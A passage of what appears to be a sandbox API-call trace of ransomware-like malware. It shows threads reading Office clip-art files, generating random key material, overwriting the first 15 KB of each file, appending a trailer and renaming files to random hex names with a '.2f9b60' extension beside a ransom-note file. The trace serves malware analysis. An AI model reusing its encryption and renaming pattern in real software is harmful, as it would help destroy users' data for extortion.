Flags=0x8, Size=0x62) returned 0x1ced9390 [0108.580] wcscat (in: _Dest=0x20500a90, _Source="19da0cf0f569" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\19da0cf0f569") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\19da0cf0f569" [0108.580] wcscat (in: _Dest=0x20500a90, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\19da0cf0f569.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\19da0cf0f569.2f9b60" [0108.580] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\19da0cf0f569.2f9b60", NtPathName=0x2b58f690, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\19da0cf0f569.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0108.580] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x42060470 [0108.580] NtSetInformationFile (FileHandle=0x1774, IoStatusBlock=0x2b58f730, FileInformation=0x42060470, Length=0xac, FileInformationClass=0xa) returned 0x0 [0110.043] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060470) returned 1 [0110.043] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265460) returned 1 [0110.043] NtQueryInformationFile (in: FileHandle=0x1774, IoStatusBlock=0x2b58f6f8, FileInformation=0x2b58f708, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2b58f6f8, FileInformation=0x2b58f708) returned 0x0 [0110.043] NtSetInformationFile (FileHandle=0x1774, IoStatusBlock=0x2b58f6f8, FileInformation=0x2b58f708, Length=0x28, FileInformationClass=0x4) returned 0x0 [0110.048] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500a90) returned 1 [0110.048] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9390) returned 1 [0110.048] FlushFileBuffers (hFile=0x1774) returned 1 [0110.056] CloseHandle (hObject=0x1774) returned 1 [0110.057] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x20500d10 [0110.057] wcscpy (in: _Dest=0x20500d10, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0110.057] wcscat (in: _Dest=0x20500d10, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0110.057] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0110.058] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500d10) returned 1 [0110.058] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4b1d0) returned 1 Thread: id = 680 os_tid = 0x1184 [0096.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf")) returned 0x20 [0107.309] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF", dwFileAttributes=0x20) returned 1 [0108.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe38 [0108.481] GetFileSizeEx (in: hFile=0xe38, lpFileSize=0x2b67f6c0 | out: lpFileSize=0x2b67f6c0*=26332) returned 1 [0108.481] SetFilePointerEx (in: hFile=0xe38, liDistanceToMove=0x66d8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.481] ReadFile (in: hFile=0xe38, lpBuffer=0x2b67f640, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2b67f688, lpOverlapped=0x0 | out: lpBuffer=0x2b67f640*, lpNumberOfBytesRead=0x2b67f688*=0x4, lpOverlapped=0x0) returned 1 [0108.488] SetFilePointerEx (in: hFile=0xe38, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.489] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860630 [0108.489] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8612c0 [0108.489] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860030 [0108.489] NtQuerySystemTime (in: CurrentTime=0x2b67f580 | out: CurrentTime=0x2b67f580*=132462177139810000) returned 0x0 [0108.489] RtlRandomEx (in: Seed=0x2b67f570 | out: Seed=0x2b67f570) returned 0x1e03be4d [0108.489] RtlRandomEx (in: Seed=0x2b67f570 | out: Seed=0x2b67f570) returned 0x42bf2266 [0108.489] RtlRandomEx (in: Seed=0x2b67f570 | out: Seed=0x2b67f570) returned 0x34f0966f [0108.489] RtlRandomEx (in: Seed=0x2b67f570 | out: Seed=0x2b67f570) returned 0x6db8087a [0108.489] RtlRandomEx (in: Seed=0x2b67f570 | out: Seed=0x2b67f570) returned 0x1532c82c [0108.489] RtlRandomEx (in: Seed=0x2b67f570 | out: Seed=0x2b67f570) returned 0x26deca9 [0108.489] RtlRandomEx (in: Seed=0x2b67f570 | out: Seed=0x2b67f570) returned 0x5ceabf79 [0108.489] RtlRandomEx (in: Seed=0x2b67f570 | out: Seed=0x2b67f570) returned 0x5d629f20 [0108.489] RtlRandomEx (in: Seed=0x2b67f570 | out: Seed=0x2b67f570) returned 0x490bb7e5 [0108.489] RtlRandomEx (in: Seed=0x2b67f570 | out: Seed=0x2b67f570) returned 0x70e11676 [0108.489] RtlRandomEx (in: Seed=0x2b67f570 | out: Seed=0x2b67f570) returned 0x7512eb6 [0108.489] RtlRandomEx (in: Seed=0x2b67f570 | out: Seed=0x2b67f570) returned 0x3efc68b1 [0108.489] RtlRandomEx (in: Seed=0x2b67f570 | out: Seed=0x2b67f570) returned 0x76183c35 [0108.489] RtlRandomEx (in: Seed=0x2b67f570 | out: Seed=0x2b67f570) returned 0x771c9de7 [0108.490] RtlRandomEx (in: Seed=0x2b67f570 | out: Seed=0x2b67f570) returned 0x435440b2 [0108.490] RtlRandomEx (in: Seed=0x2b67f570 | out: Seed=0x2b67f570) returned 0x33d07f40 [0108.490] RtlRandomEx (in: Seed=0x2b67f570 | out: Seed=0x2b67f570) returned 0x2e42206 [0108.490] RtlRandomEx (in: Seed=0x2b67f570 | out: Seed=0x2b67f570) returned 0x329f9411 [0108.490] RtlRandomEx (in: Seed=0x2b67f570 | out: Seed=0x2b67f570) returned 0x6756ad8a [0108.490] RtlRandomEx (in: Seed=0x2b67f570 | out: Seed=0x2b67f570) returned 0x2ad3f3c1 [0108.490] RtlRandomEx (in: Seed=0x2b67f570 | out: Seed=0x2b67f570) returned 0x2aa91b01 [0108.490] RtlRandomEx (in: Seed=0x2b67f570 | out: Seed=0x2b67f570) returned 0x5d61cb47 [0108.490] RtlRandomEx (in: Seed=0x2b67f570 | out: Seed=0x2b67f570) returned 0x48cb09ae [0108.490] RtlRandomEx (in: Seed=0x2b67f570 | out: Seed=0x2b67f570) returned 0x46b460f2 [0108.490] RtlRandomEx (in: Seed=0x2b67f570 | out: Seed=0x2b67f570) returned 0x29a80681 [0108.490] RtlRandomEx (in: Seed=0x2b67f570 | out: Seed=0x2b67f570) returned 0x5afa8a1 [0108.490] RtlRandomEx (in: Seed=0x2b67f570 | out: Seed=0x2b67f570) returned 0x76ac383a [0108.490] RtlRandomEx (in: Seed=0x2b67f570 | out: Seed=0x2b67f570) returned 0x29525501 [0108.490] RtlRandomEx (in: Seed=0x2b67f570 | out: Seed=0x2b67f570) returned 0x7823c707 [0108.490] RtlRandomEx (in: Seed=0x2b67f570 | out: Seed=0x2b67f570) returned 0x1aef9c24 [0108.490] RtlRandomEx (in: Seed=0x2b67f570 | out: Seed=0x2b67f570) returned 0xf0c4e6 [0108.490] RtlRandomEx (in: Seed=0x2b67f570 | out: Seed=0x2b67f570) returned 0x6b03daeb [0108.500] SetFilePointerEx (in: hFile=0xe38, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.501] ReadFile (in: hFile=0xe38, lpBuffer=0x41e6a520, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2b67f5e0, lpOverlapped=0x0 | out: lpBuffer=0x41e6a520*, lpNumberOfBytesRead=0x2b67f5e0*=0x3c00, lpOverlapped=0x0) returned 1 [0108.507] SetFilePointerEx (in: hFile=0xe38, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.507] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0108.507] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866c40 [0108.507] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8601b0 [0108.507] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8601b0) returned 1 [0108.508] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e53cc0 [0108.508] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8601b0 [0108.508] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fc10 [0108.508] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fc10) returned 1 [0108.508] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866c40) returned 1 [0108.508] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0108.508] WriteFile (in: hFile=0xe38, lpBuffer=0x41e53cc0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2b67f5e0, lpOverlapped=0x0 | out: lpBuffer=0x41e53cc0*, lpNumberOfBytesWritten=0x2b67f5e0*=0x3c00, lpOverlapped=0x0) returned 1 [0161.138] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e53cc0) returned 1 [0161.138] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e6a520) returned 1 [0161.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a3770 [0161.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f10 [0161.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061f30 [0161.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a37a0 [0161.139] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a37a0) returned 1 [0161.139] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a37a0 [0161.139] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a37d0 [0161.139] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3800 [0161.140] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3800) returned 1 [0161.140] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061f30) returned 1 [0161.140] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f10) returned 1 [0161.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x1ce142d0 [0161.140] SetFilePointerEx (in: hFile=0xe38, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.140] WriteFile (hFile=0xe38, lpBuffer=0x1ce142d0, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2b67f690, lpOverlapped=0x0) [0200.203] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420593d0 [0200.203] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420614b0 [0200.204] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860120 [0200.205] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860120) returned 1 [0200.205] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x42c0f0e0 [0200.205] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860120 [0200.206] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860450 [0200.206] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860450) returned 1 [0200.207] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420614b0) returned 1 [0200.207] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420593d0) returned 1 [0200.207] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d8040 [0200.207] sprintf (in: _Dest=0x1b7d8040, _Format="%c%c" | out: _Dest="22") returned 2 [0200.207] sprintf (in: _Dest=0x1b7d8042, _Format="%c%c" | out: _Dest="48") returned 2 [0200.207] sprintf (in: _Dest=0x1b7d8044, _Format="%c%c" | out: _Dest="59") returned 2 [0200.208] sprintf (in: _Dest=0x1b7d8046, _Format="%c%c" | out: _Dest="c5") returned 2 [0200.208] sprintf (in: _Dest=0x1b7d8048, _Format="%c%c" | out: _Dest="d1") returned 2 [0200.208] sprintf (in: _Dest=0x1b7d804a, _Format="%c%c" | out: _Dest="dc") returned 2 [0200.208] sprintf (in: _Dest=0x1b7d804c, _Format="%c%c" | out: _Dest="ea") returned 2 [0200.208] sprintf (in: _Dest=0x1b7d804e, _Format="%c%c" | out: _Dest="e0") returned 2 [0200.208] sprintf (in: _Dest=0x1b7d8050, _Format="%c%c" | out: _Dest="a0") returned 2 [0200.208] sprintf (in: _Dest=0x1b7d8052, _Format="%c%c" | out: _Dest="ed") returned 2 [0200.208] sprintf (in: _Dest=0x1b7d8054, _Format="%c%c" | out: _Dest="0d") returned 2 [0200.208] sprintf (in: _Dest=0x1b7d8056, _Format="%c%c" | out: _Dest="29") returned 2 [0200.208] sprintf (in: _Dest=0x1b7d8058, _Format="%c%c" | out: _Dest="d3") returned 2 [0200.208] sprintf (in: _Dest=0x1b7d805a, _Format="%c%c" | out: _Dest="fb") returned 2 [0200.208] sprintf (in: _Dest=0x1b7d805c, _Format="%c%c" | out: _Dest="b6") returned 2 [0200.208] sprintf (in: _Dest=0x1b7d805e, _Format="%c%c" | out: _Dest="55") returned 2 [0200.208] sprintf (in: _Dest=0x1b7d8060, _Format="%c%c" | out: _Dest="a5") returned 2 [0200.208] sprintf (in: _Dest=0x1b7d8062, _Format="%c%c" | out: _Dest="aa") returned 2 [0200.208] sprintf (in: _Dest=0x1b7d8064, _Format="%c%c" | out: _Dest="e2") returned 2 [0200.208] sprintf (in: _Dest=0x1b7d8066, _Format="%c%c" | out: _Dest="9d") returned 2 [0200.208] sprintf (in: _Dest=0x1b7d8068, _Format="%c%c" | out: _Dest="c2") returned 2 [0200.208] sprintf (in: _Dest=0x1b7d806a, _Format="%c%c" | out: _Dest="d9") returned 2 [0200.208] sprintf (in: _Dest=0x1b7d806c, _Format="%c%c" | out: _Dest="15") returned 2 [0200.208] sprintf (in: _Dest=0x1b7d806e, _Format="%c%c" | out: _Dest="ed") returned 2 [0200.208] RtlInitAnsiString (in: DestinationString=0x2b67f708, SourceString="224859c5d1dceae0a0ed0d29d3fbb655a5aae29dc2d915ed" | out: DestinationString="224859c5d1dceae0a0ed0d29d3fbb655a5aae29dc2d915ed") [0200.208] RtlAnsiStringToUnicodeString (in: DestinationString=0x2b67f6d8, SourceString="224859c5d1dceae0a0ed0d29d3fbb655a5aae29dc2d915ed", AllocateDestinationString=1 | out: DestinationString="224859c5d1dceae0a0ed0d29d3fbb655a5aae29dc2d915ed") returned 0x0 [0200.208] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x430a0600 [0200.209] wcscat (in: _Dest=0x431e3f80, _Source="224859c5d1dc" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\224859c5d1dc") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\224859c5d1dc" [0200.209] wcscat (in: _Dest=0x431e3f80, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\224859c5d1dc.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\224859c5d1dc.2f9b60" [0200.209] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\224859c5d1dc.2f9b60", NtPathName=0x2b67f6b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\224859c5d1dc.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.209] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x431ed6e0 Thread: id = 681 os_tid = 0x1188 [0096.593] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf")) returned 0x20 [0107.309] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF", dwFileAttributes=0x20) returned 1 [0108.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe30 [0108.464] GetFileSizeEx (in: hFile=0xe30, lpFileSize=0x2b72fc80 | out: lpFileSize=0x2b72fc80*=27858) returned 1 [0108.464] SetFilePointerEx (in: hFile=0xe30, liDistanceToMove=0x6cce, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.464] ReadFile (in: hFile=0xe30, lpBuffer=0x2b72fc00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2b72fc48, lpOverlapped=0x0 | out: lpBuffer=0x2b72fc00*, lpNumberOfBytesRead=0x2b72fc48*=0x4, lpOverlapped=0x0) returned 1 [0108.468] SetFilePointerEx (in: hFile=0xe30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.468] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f8e0 [0108.468] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8601e0 [0108.468] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8604e0 [0108.468] NtQuerySystemTime (in: CurrentTime=0x2b72fb40 | out: CurrentTime=0x2b72fb40*=132462177139654000) returned 0x0 [0108.468] RtlRandomEx (in: Seed=0x2b72fb30 | out: Seed=0x2b72fb30) returned 0x191a5a0b [0108.468] RtlRandomEx (in: Seed=0x2b72fb30 | out: Seed=0x2b72fb30) returned 0x639703ac [0108.469] RtlRandomEx (in: Seed=0x2b72fb30 | out: Seed=0x2b72fb30) returned 0x4e8f948e [0108.469] RtlRandomEx (in: Seed=0x2b72fb30 | out: Seed=0x2b72fb30) returned 0x19ceac8e [0108.469] RtlRandomEx (in: Seed=0x2b72fb30 | out: Seed=0x2b72fb30) returned 0x7fcff2d0 [0108.469] RtlRandomEx (in: Seed=0x2b72fb30 | out: Seed=0x2b72fb30) returned 0x1b270538 [0108.469] RtlRandomEx (in: Seed=0x2b72fb30 | out: Seed=0x2b72fb30) returned 0x251ce5aa [0108.469] RtlRandomEx (in: Seed=0x2b72fb30 | out: Seed=0x2b72fb30) returned 0x28bb139b [0108.469] RtlRandomEx (in: Seed=0x2b72fb30 | out: Seed=0x2b72fb30) returned 0x38dd3dd3 [0108.469] RtlRandomEx (in: Seed=0x2b72fb30 | out: Seed=0x2b72fb30) returned 0x37b3fff2 [0108.469] RtlRandomEx (in: Seed=0x2b72fb30 | out: Seed=0x2b72fb30) returned 0x7c126c60 [0108.469] RtlRandomEx (in: Seed=0x2b72fb30 | out: Seed=0x2b72fb30) returned 0x54455be1 [0108.469] RtlRandomEx (in: Seed=0x2b72fb30 | out: Seed=0x2b72fb30) returned 0x5b570d3c [0108.469] RtlRandomEx (in: Seed=0x2b72fb30 | out: Seed=0x2b72fb30) returned 0x13e1117f [0108.469] RtlRandomEx (in: Seed=0x2b72fb30 | out: Seed=0x2b72fb30) returned 0xcd34090 [0108.469] RtlRandomEx (in: Seed=0x2b72fb30 | out: Seed=0x2b72fb30) returned 0x4378fab9 [0108.469] RtlRandomEx (in: Seed=0x2b72fb30 | out: Seed=0x2b72fb30) returned 0x63f7d9ca [0108.469] RtlRandomEx (in: Seed=0x2b72fb30 | out: Seed=0x2b72fb30) returned 0x46f1f838 [0108.469] RtlRandomEx (in: Seed=0x2b72fb30 | out: Seed=0x2b72fb30) returned 0x12669422 [0108.469] RtlRandomEx (in: Seed=0x2b72fb30 | out: Seed=0x2b72fb30) returned 0x4d2ca06c [0108.469] RtlRandomEx (in: Seed=0x2b72fb30 | out: Seed=0x2b72fb30) returned 0x76462340 [0108.469] RtlRandomEx (in: Seed=0x2b72fb30 | out: Seed=0x2b72fb30) returned 0x70c7968a [0108.469] RtlRandomEx (in: Seed=0x2b72fb30 | out: Seed=0x2b72fb30) returned 0x58379c6e [0108.469] RtlRandomEx (in: Seed=0x2b72fb30 | out: Seed=0x2b72fb30) returned 0x1240a349 [0108.469] RtlRandomEx (in: Seed=0x2b72fb30 | out: Seed=0x2b72fb30) returned 0x6f9148db [0108.469] RtlRandomEx (in: Seed=0x2b72fb30 | out: Seed=0x2b72fb30) returned 0x5d2d119f [0108.469] RtlRandomEx (in: Seed=0x2b72fb30 | out: Seed=0x2b72fb30) returned 0x17cba72c [0108.469] RtlRandomEx (in: Seed=0x2b72fb30 | out: Seed=0x2b72fb30) returned 0x681d91cd [0108.469] RtlRandomEx (in: Seed=0x2b72fb30 | out: Seed=0x2b72fb30) returned 0x24a65808 [0108.469] RtlRandomEx (in: Seed=0x2b72fb30 | out: Seed=0x2b72fb30) returned 0x79ba9b2e [0108.469] RtlRandomEx (in: Seed=0x2b72fb30 | out: Seed=0x2b72fb30) returned 0x7e6f562 [0108.469] RtlRandomEx (in: Seed=0x2b72fb30 | out: Seed=0x2b72fb30) returned 0x7d01bb29 [0108.477] SetFilePointerEx (in: hFile=0xe30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.477] ReadFile (in: hFile=0xe30, lpBuffer=0x41e53cc0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2b72fba0, lpOverlapped=0x0 | out: lpBuffer=0x41e53cc0*, lpNumberOfBytesRead=0x2b72fba0*=0x3c00, lpOverlapped=0x0) returned 1 [0108.486] SetFilePointerEx (in: hFile=0xe30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.486] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0108.487] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866c40 [0108.487] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860090 [0108.487] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860090) returned 1 [0108.487] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e578d0 [0108.487] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860090 [0108.487] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860630 [0108.487] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860630) returned 1 [0108.487] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866c40) returned 1 [0108.487] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0108.487] WriteFile (in: hFile=0xe30, lpBuffer=0x41e578d0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2b72fba0, lpOverlapped=0x0 | out: lpBuffer=0x41e578d0*, lpNumberOfBytesWritten=0x2b72fba0*=0x3c00, lpOverlapped=0x0) returned 1 [0108.505] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e578d0) returned 1 [0108.505] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e53cc0) returned 1 [0108.505] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b860630 [0108.506] SetFilePointerEx (in: hFile=0xe30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0108.506] WriteFile (in: hFile=0xe30, lpBuffer=0x1675e0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2b72fc50, lpOverlapped=0x0 | out: lpBuffer=0x1675e0*, lpNumberOfBytesWritten=0x2b72fc50*=0x10a, lpOverlapped=0x0) returned 1 [0108.541] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0108.541] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867740 [0108.541] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fc10 [0108.541] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fc10) returned 1 [0108.541] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0108.541] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fc10 [0108.541] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8612f0 [0108.542] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8612f0) returned 1 [0108.542] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867740) returned 1 [0108.542] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0108.542] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0108.542] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="72") returned 2 [0108.542] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="55") returned 2 [0108.542] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="a6") returned 2 [0108.542] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="13") returned 2 [0108.542] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="05") returned 2 [0108.542] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="90") returned 2 [0108.542] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="3c") returned 2 [0108.542] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="07") returned 2 [0108.542] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="2c") returned 2 [0108.542] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="65") returned 2 [0108.542] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="32") returned 2 [0108.542] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="41") returned 2 [0108.542] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="65") returned 2 [0108.542] sprintf (in: 